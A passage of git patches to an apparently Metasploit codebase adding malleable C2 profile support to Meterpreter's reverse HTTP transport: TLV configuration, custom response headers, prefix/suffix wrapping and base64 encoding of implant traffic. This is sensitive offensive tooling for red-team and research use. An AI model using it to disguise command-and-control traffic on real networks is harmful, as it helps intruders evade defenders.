Subject: [PATCH 14/65] Fix C2 config timeout generation --- lib/rex/payloads/meterpreter/config.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 5096bac71973c..3de401b89c6ea 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -82,14 +82,15 @@ def add_c2_tlv(tlv, opts) profile = parser.parse(opts[:c2_profile]) c2_tlv = profile.to_tlv else - c2_tlv= MET::GroupTlv.new(MET::TLV_TYPE_C2) + c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? end + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] From d63b0764849924b645106537d7d06a3a9085470c Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:59:28 +1000 Subject: [PATCH 15/65] Fix transport comment TLV generation/handling --- lib/rex/post/meterpreter/client_core.rb | 34 ++++++++++++++----------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ec4ae0048950c..3a6b5a6a7e6f3 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -871,7 +871,7 @@ def generate_migrate_stub(target_process) # Helper function to prepare a transport request that will be sent to the # attached session. # - def transport_prepare_request(method, opts={}) + def transport_prepare_request(command_id, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil end @@ -885,7 +885,11 @@ def transport_prepare_request(method, opts={}) transport = opts[:transport].downcase - request = Packet.create_request(method) + request = Packet.create_request(command_id) + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + end scheme = transport.split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" @@ -900,20 +904,18 @@ def transport_prepare_request(method, opts={}) end end - if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) - end + c2_tlv = GroupTlv.new(TLV_TYPE_C2) - if opts[:session_exp] - request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + if opts[:comm_timeout] + c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -928,30 +930,32 @@ def transport_prepare_request(method, opts={}) end opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) + c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_C2_URL, url) + c2_tlv.add_tlv(TLV_TYPE_C2_URL, url) + + request.tlvs << c2_tlv request end From 07f29399260525c9f892582d80569407fb8026b4 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:59:42 +1000 Subject: [PATCH 16/65] Re-add the overridden body property in the HTTP packet I hate this craziness, but I have no idea what I'll break if I don't leave this in. --- lib/rex/proto/http/packet.rb | 26 +++++++++++++++++++++----- lib/rex/proto/http/request.rb | 12 ++++++++++++ 2 files changed, 33 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 298d8dde86f91..29d8837fc9129 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -67,6 +67,23 @@ def []=(key, value) self.headers[key] = value end + # + # The `body` attribute was overridden by subclasses, causing quirky behaviour issues, + # such as when a POST request contained query string parameters resulting in the query + # string being prepended to the data that was contained in the body. To avoid this + # utterly ridiculous behaviour while maintaning the status-quo of having the request + # class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal + # buffer to collect the request's body, rather than using the attribute, which prevents + # this insanity from happening. + # + def body=(val) + @body_bytes = val + end + + def body + @body_bytes + end + # # Parses the supplied buffer. Returns one of the two parser processing # codes (Completed, Partial, or Error). @@ -116,7 +133,7 @@ def reset self.inside_chunk = false self.headers.reset self.bufq = '' - self.body = '' + @body_bytes = '' end # @@ -127,7 +144,7 @@ def reset_except_queue self.transfer_chunked = false self.inside_chunk = false self.headers.reset - self.body = '' + @body_bytes = '' end # @@ -254,7 +271,6 @@ def cmd_string attr_accessor :error attr_accessor :state attr_accessor :bufq - attr_accessor :body attr_accessor :auto_cl attr_accessor :max_data attr_accessor :transfer_chunked @@ -409,11 +425,11 @@ def parse_body # to our body state. if (self.body_bytes_left > 0) part = self.bufq.slice!(0, self.body_bytes_left) - self.body += part + @body_bytes += part self.body_bytes_left -= part.length # Otherwise, just read it all. else - self.body += self.bufq + @body_bytes += self.bufq self.bufq = '' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index e586e6ff1568c..bf21fdf42d656 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,6 +217,18 @@ def to_s str + super end + # + # Returns a hijacked version of the body that shoves the request's query string in as a + # replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯ + # + def body + str = super || '' + if str.length == 0 && PostRequests.include?(self.method) + str = param_tring + end + str + end + # # Returns the command string derived from the three values. # From 931a48535951e836f961ef1045eb324bdca839c6 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 14:25:06 +1000 Subject: [PATCH 17/65] Prepends should not be reversed --- lib/msf/core/payload/malleable_c2.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index d3fba60fd45a5..71bd93e88b6b7 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -174,7 +174,7 @@ def uris def wrap_outbound_get(raw_bytes) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') appends = self.http_get&.server&.output&.append || [] suffix = appends.map {|p| p.args[0]}.join('') prefix + raw_bytes + suffix @@ -182,7 +182,7 @@ def wrap_outbound_get(raw_bytes) def unwrap_inbound_post(raw_bytes) prepends = self.http_post&.client&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 raw_bytes = raw_bytes[prefix.length, raw_bytes.length] end @@ -208,7 +208,7 @@ def to_tlv self.add_http_tlv(get_uri, client, get_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 client.get_section('metadata') {|meta| @@ -233,7 +233,7 @@ def to_tlv self.add_http_tlv(post_uri, client, post_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 client.get_section('output') {|client_output| @@ -243,7 +243,7 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? From f449af207a9c3823e30272b122db9f16b1104a63 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 29 Jul 2025 12:32:18 +1000 Subject: [PATCH 18/65] Fixes as per discussion --- lib/msf/core/handler/reverse_http.rb | 26 +++++-------- lib/msf/core/payload/malleable_c2.rb | 37 +++++++++++-------- .../windows/x64/meterpreter_reverse_http.rb | 2 +- 3 files changed, 32 insertions(+), 33 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 832534fb945d8..c49e9fab29eda 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -180,28 +180,22 @@ def scheme end def construct_luri(base_uri) + return nil unless base_uri - if base_uri && base_uri.length > 0 - # strip trailing slashes - while base_uri[-1, 1] == '/' - base_uri = base_uri[0...-1] - end - - # make sure the luri has the prefix - if base_uri[0, 1] != '/' - base_uri = "/#{base_uri}" - end + u = base_uri.dup + while u[-1] == '/' + u.chop! end - base_uri.dup + u end # The local URI for the handler. # # @return [String] Representation of the URI to listen on. def luri - construct_luri(datastore['LURI'] || "") + construct_luri(datastore['LURI'] || '') end def all_uris @@ -286,17 +280,17 @@ def setup_handler def find_resource_id(cli, request) if request.method == 'POST' directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + cid = request.qstring[directive[0].args[0]] if directive&.length > 0 unless cid directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + cid = request.headers[directive[0].args[0]] if directive&.length > 0 end else directive = self.c2_profile&.http_get&.client&.metadata&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + cid = request.qstring[directive[0].args[0]] if directive&.length > 0 unless cid directive = self.c2_profile&.http_get&.client&.metadata&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + cid = request.headers[directive[0].args[0]] if directive&.length > 0 end end diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 71bd93e88b6b7..396937e44bf0c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -3,20 +3,26 @@ ## # This module contains helper functions for parsing and loading malleable # C2 profiles into ruby objects. +# +# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm ## require 'strscan' require 'rex/post/meterpreter/packet' -# Handle escape sequences in the strings provided by the c2 profile -class String - def from_c2_string_value +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + MC2 = Msf::Payload::MalleableC2 + + # Handle escape sequences in the strings provided by the c2 profile + def self.from_c2_string_value(s) # Support substitution of a subset of escape characters: # \r, \t, \n, \\, \x.. # Not supporting \u at this point. # We do in a single regex and parse each as we go, as this avoids the # potential for double-encoding. - self.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + s.gsub(/\\(x(..)|r|n|t|\\)/) {|b| case b[1] when 'x' [b[2, 4].to_i(16)].pack('C') @@ -31,11 +37,6 @@ def from_c2_string_value end } end -end - -module Msf::Payload::MalleableC2 - - MET = Rex::Post::Meterpreter class Token attr_reader :type, :value @@ -95,13 +96,15 @@ class Lexer def initialize(file) @tokens = [] - tokenize(File.read(file)) + tokenize(File.binread(file)) end def is_block_keyword?(word) BLOCK_KEYWORDS.include?(word) end + private + def tokenize(text) scanner = StringScanner.new(text) @@ -113,7 +116,6 @@ def tokenize(text) # comment next elsif scanner.scan(/\"(\\.|[^"])*\"/) - #@tokens << Token.new(:string, scanner.matched[1..-2]) @tokens << Token.new(:string, scanner.matched[1..-2]) elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) word = scanner.matched @@ -122,7 +124,10 @@ def tokenize(text) elsif scanner.scan(/[{};]/) @tokens << Token.new(:symbol, scanner.matched) else - raise "Unexpected token near: #{scanner.peek(20)}" + preceding_lines = scanner.string[0..scanner.pos].split("\n") + row = preceding_lines.length + col = preceding_lines.last&.size || 1 + raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}" end end end @@ -243,7 +248,7 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.("") + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? @@ -292,7 +297,7 @@ class ParsedSet attr_accessor :key, :value def initialize(key, value) @key = key.downcase - @value = value.from_c2_string_value + @value = MC2.from_c2_string_value(value) end end @@ -340,7 +345,7 @@ class ParsedDirective attr_accessor :type, :args def initialize(type, args) @type = type.downcase - @args = args.map {|a| a.from_c2_string_value} + @args = args.map {|a| MC2.from_c2_string_value(a)} end end @@ -362,7 +367,7 @@ def parse(file) elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) profile.sections << parse_section else - raise "Unexpected token at tope level: #{current_token.type}=#{current_token.value}" + raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 0b853912b5857..0d2ea1cdb42d2 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ) register_options([ - OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) From 82380eb2eff4e0264fe0667ccd9c30d19bd06d16 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 29 Jul 2025 13:28:20 +1000 Subject: [PATCH 19/65] Add C2 custom header support in responses --- lib/msf/core/handler/reverse_http.rb | 10 ++++++++++ lib/rex/proto/http/server.rb | 4 +++- lib/rex/proto/http/server_client.rb | 2 +- 3 files changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index c49e9fab29eda..8a9f0d37a0233 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -297,6 +297,16 @@ def find_resource_id(cli, request) request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last end + def add_response_headers(req, resp) + if req.method == 'GET' + headers = self.c2_profile&.http_get&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + elsif req.method == 'POST' + headers = self.c2_profile&.http_post&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + end + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 27a56aef540dd..551738884e0cd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -182,8 +182,10 @@ def remove_resource(name) # # Adds Server headers and stuff. # - def add_response_headers(resp) + def add_response_headers(req, resp) resp['Server'] = self.server_name if not resp['Server'] + expl = self.context['MsfExploit'] + expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers) end # diff --git a/lib/rex/proto/http/server_client.rb b/lib/rex/proto/http/server_client.rb index 69572a71fc34b..344491795fe6a 100644 --- a/lib/rex/proto/http/server_client.rb +++ b/lib/rex/proto/http/server_client.rb @@ -38,7 +38,7 @@ def send_response(response) response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' # Add any other standard response headers. - server.add_response_headers(response) + server.add_response_headers(self.request, response) # Send it off. put(response.to_s) From 6c73a46e2a4cc7c42de02c8ffaba0389cd2fb64a Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 13:04:22 +1000 Subject: [PATCH 20/65] Revert previous change to cid extraction --- lib/msf/core/handler/reverse_http.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 8a9f0d37a0233..dd0370dcc6d8e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -280,17 +280,17 @@ def setup_handler def find_resource_id(cli, request) if request.method == 'POST' directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive&.length > 0 + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive&.length > 0 + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end else directive = self.c2_profile&.http_get&.client&.metadata&.parameter - cid = request.qstring[directive[0].args[0]] if directive&.length > 0 + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid directive = self.c2_profile&.http_get&.client&.metadata&.header - cid = request.headers[directive[0].args[0]] if directive&.length > 0 + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end end From 5b0d87df76a21f9017a88083167a3d0c0add0075 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 15:02:08 +1000 Subject: [PATCH 21/65] Support encoding/decoding of data from C2 profile --- lib/msf/core/payload/malleable_c2.rb | 58 +++++++++++++++++++++------- lib/rex/post/meterpreter/client.rb | 12 +++--- lib/rex/post/meterpreter/packet.rb | 18 +++++---- 3 files changed, 59 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 396937e44bf0c..f4b1f2f64796b 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -182,7 +182,19 @@ def wrap_outbound_get(raw_bytes) prefix = prepends.map {|p| p.args[0]}.join('') appends = self.http_get&.server&.output&.append || [] suffix = appends.map {|p| p.args[0]}.join('') - prefix + raw_bytes + suffix + + # do any encoding necessary + if raw_bytes.length > 0 + if self.http_get&.server&.output&.has_directive('base64') + raw_bytes = Rex::Text.encode_base64(raw_bytes) + elsif self.http_get&.server&.output&.has_directive('base64url') + raw_bytes = Rex::Text.encode_base64url(raw_bytes) + end + end + + result = prefix + raw_bytes + suffix + + result end def unwrap_inbound_post(raw_bytes) @@ -197,6 +209,15 @@ def unwrap_inbound_post(raw_bytes) unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] end + + # do any decoding necessary + if raw_bytes.length > 0 + if self.http_post&.client&.output&.has_directive('base64') + raw_bytes = Rex::Text.decode_base64(raw_bytes) + elsif self.http_post&.client&.output&.has_directive('base64url') + raw_bytes = Rex::Text.decode_base64url(raw_bytes) + end + end raw_bytes end @@ -213,15 +234,19 @@ def to_tlv self.add_http_tlv(get_uri, client, get_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.map {|p| p.args[0]}.join('') - get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + prefix_len = prepends.map {|p| p.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_get&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 client.get_section('metadata') {|meta| - enc_flags = 0 - enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') - enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if meta.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if meta.has_directive('base64') - get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') # assume uri-append for POST otherwise. @@ -237,16 +262,20 @@ def to_tlv http_post.get_section('client') {|client| self.add_http_tlv(post_uri, client, post_tlv) - prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.map {|p| p.args[0]}.join('') - post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + prepends = self.http_post&.server&.output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_post&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 client.get_section('output') {|client_output| - enc_flags = 0 - enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') - enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if client_output.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if client_output.has_directive('base64') - post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? @@ -258,7 +287,6 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') # assume uri-append for POST otherwise given that we always put the TLV payload in the body? - # TODO: add support for adding a form rather than just a payload body? } } diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index edbf8886f94e7..17b71b7e950d8 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -117,20 +117,20 @@ def cleanup_meterpreter # # Wrap the given packet data with any prefixes and suffixes that are stored in - # the associated C2 profile server configuration (if it exists) + # the associated C2 profile server configuration (if it exists) and handle + # encoding of data # def wrap_packet(raw_bytes) - raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile - raw_bytes + self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile end # # Unwrap the given packet data from any prefixes and suffixes that are stored in - # the associated C2 profile client configuration (if it exists) + # the associated C2 profile client configuration (if it exists) and handle + # decoding of data # def unwrap_packet(raw_bytes) - raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile - raw_bytes + self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile end # diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index e182678073618..42cc91195ef63 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -132,18 +132,20 @@ module Meterpreter TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) -TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing -TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in -TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in -TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in -TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 725 # string representation of the UUID for C2s +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s # # C2 Encoding flags # -C2_ENCODING_FLAG_B64 = (1 << 0) # straight Base64 encoding -C2_ENCODING_FLAG_B64URL = (1 << 1) # encoding Base64 with URL-safe values -C2_ENCODING_FLAG_URL = (1 << 2) # straight URL encoding +C2_ENCODING_NONE = 0 # No encoding at all +C2_ENCODING_B64 = 1 # Base64 encoding +C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters +C2_ENCODING_URL = 3 # URL encoding # # Core flags From 1a2c0bdd948a2ac96bc4a45bd65027f27ae79aae Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 18:11:17 +1000 Subject: [PATCH 22/65] Support escaped double-quote --- lib/msf/core/payload/malleable_c2.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index f4b1f2f64796b..b82eef1f78293 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -18,11 +18,11 @@ module Msf::Payload::MalleableC2 # Handle escape sequences in the strings provided by the c2 profile def self.from_c2_string_value(s) # Support substitution of a subset of escape characters: - # \r, \t, \n, \\, \x.. + # \r, \t, \n, \\, \x.., \" # Not supporting \u at this point. # We do in a single regex and parse each as we go, as this avoids the # potential for double-encoding. - s.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b| case b[1] when 'x' [b[2, 4].to_i(16)].pack('C') @@ -32,6 +32,8 @@ def self.from_c2_string_value(s) "\t" when 'n' "\n" + when '"' + '"' when '\\' "\\" end From f9990a2d0030ded02ecbf0a7631fa54015ee5c0b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 23 Sep 2025 13:26:06 -0400 Subject: [PATCH 23/65] Fix old payloads --- lib/msf/core/handler/reverse_http.rb | 2 +- lib/rex/post/meterpreter/client.rb | 12 ++++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index dd0370dcc6d8e..6dfc464d32441 100644 --- 